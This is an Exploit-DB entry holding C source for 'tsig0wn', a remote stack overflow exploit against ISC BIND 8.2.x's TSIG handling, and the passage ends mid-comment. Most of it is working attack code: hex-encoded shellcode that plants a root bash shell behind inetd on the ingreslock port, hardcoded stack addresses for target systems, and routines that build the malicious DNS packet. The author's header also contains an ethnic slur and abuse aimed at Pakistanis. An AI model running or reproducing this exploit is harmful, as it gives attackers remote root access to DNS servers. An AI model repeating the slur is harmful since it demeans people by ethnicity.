Exploit-DB #277
Description: ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (1)
Type: remote
Platform: linux
Date: 2001-03-01
Author: Gneisenau

Exploit:
/*
 * tsig0wn.c
 * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau
 * gneisenau@berlin.com
 * The author is not and will not be held responsible for the action of 
 * other people using this code.
 * provided for informational purposes only
 * since a greetz section is de rigeur
 * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ......
 * a special fuck to all pakis including those idiots from GForce, etc....
 * but then pakistan is one big village comprising exclusively of prize idiots
 * tabstop set at 3
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include	<netdb.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

/*
 * This shellcode sux. cant ever get around to coding another one.
 */
char shellcode[] = {
0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89,
0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4,						
0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0,
0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14,
0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0,
0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,
0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0xff,0x2d,0x63,0xff,		
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NS_T_TSIG 250
#define SHELLCODE_OFFSET 13
#define DUMMY_ARG_OFFSET 176
#define ENUM_FILE 1				//eventlib_p.h line 141


struct {
	char 				*system_name;
	unsigned int	buffer_start;			/* the address where out buffer starts in memory */
	unsigned int	frame_pointer;			/* content of the frame pointer */
	int				garbage_len;			/* length of the garbage in which we will embed ebp|eip */
} system[] =	{
						{ "Test value 1", 0xbffff640, 0xbffff868, 326, },
						{ "Test value 2", 0xbffff5f0, 0xbffff700, 326, },
						{ "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, },
						{ NULL, 0x0, 0x0, },
					};

void usage (void);
void encode_dns_name (char *, int, int);

int
main (int argc, char *argv[])
{
	char 						query[PACKETSZ];	// construct our query packet here
	char						*query_ptr;		// pointer to walk the query buffer
	HEADER					*hdr_ptr;		// pointer to the header part of the query buffer

	int						arg;
	unsigned int			buffer_start, 
								frame_pointer, // value the frame pointer will have
								shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
	int						index;

	char						*target_name;
	struct hostent			*target_host;	
	struct sockaddr_in	target;		
	int						sockfd;

	if (argc < 2)
		usage ();

	while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
		switch (arg){
			case 'b':	sscanf (optarg, "%x", &buffer_start);
							break;
			case 'f':	sscanf (optarg, "%x", &frame_pointer);
							break;
			case 's':	index = atoi (optarg) - 1; 
							buffer_start = system[index].buffer_start;
							frame_pointer = system[index].frame_pointer;
							break;
			default :	usage ();
		}
	}
	if (!(target_name = argv[optind])){
		fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
		exit (1);
	}

/*
 * Form a header. 
 */
 	memset (query, 0, PACKETSZ);
 	// cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
	hdr_ptr = (HEADER *)query;
	hdr_ptr->id = htons (0x1234);			
	hdr_ptr->qr = 0;					
	hdr_ptr->opcode = 0;					
	hdr_ptr->qdcount = htons (2);			
	hdr_ptr->arcount = htons (1);	


/*
 * Form a query after the header where we put in the shellcode
 */
	query_ptr = (char *) (hdr_ptr + 1);
	memcpy (query_ptr, shellcode, strlen (shellcode)+1);
	query_ptr += strlen (shellcode) + 1;
	PUTSHORT (T_A, query_ptr);
	PUTSHORT (C_IN, query_ptr);

/*
 * we form another header here that contains garbage with embedded stuff
 * i cud have put this in the same header as the shellcode and have the
 * shellcode nullify. (shrug)
 */
	{
		char *tmp;
		unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;

		frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do

		// this will make layout a domain name for the second query, within which
		// we will embed our ebp | eip
		encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
		query_ptr += system[index].garbage_len;

		shellcode_addr = buffer_start + SHELLCODE_OFFSET;
		printf ("buffer starts at address = 0x%x\n", buffer_start);
		printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
		printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
		printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
		// put in the type member of evEvent_p. File is what we need
		tmp = query + DUMMY_ARG_OFFSET;
		tmp[0] = ENUM_FILE;
		tmp[1] = ENUM_FILE >> 8;
		tmp[2] = ENUM_FILE >> 16;
		tmp[3] = ENUM_FILE >> 24;

		// embed the addresses. These will be interpreted as ebp and eip. 
		// we put the address where our shellcode will be situated twice.
		// we overflow the saved frame pointer of datagram_read(). when the
		// function returns to __evDispatch() it calls __evDrop().
		// because we have shifted the frame pointer and thus __evDispatch()
		// notion of the stack we also provide two pointers as arguments to
		// __evDispatch. These point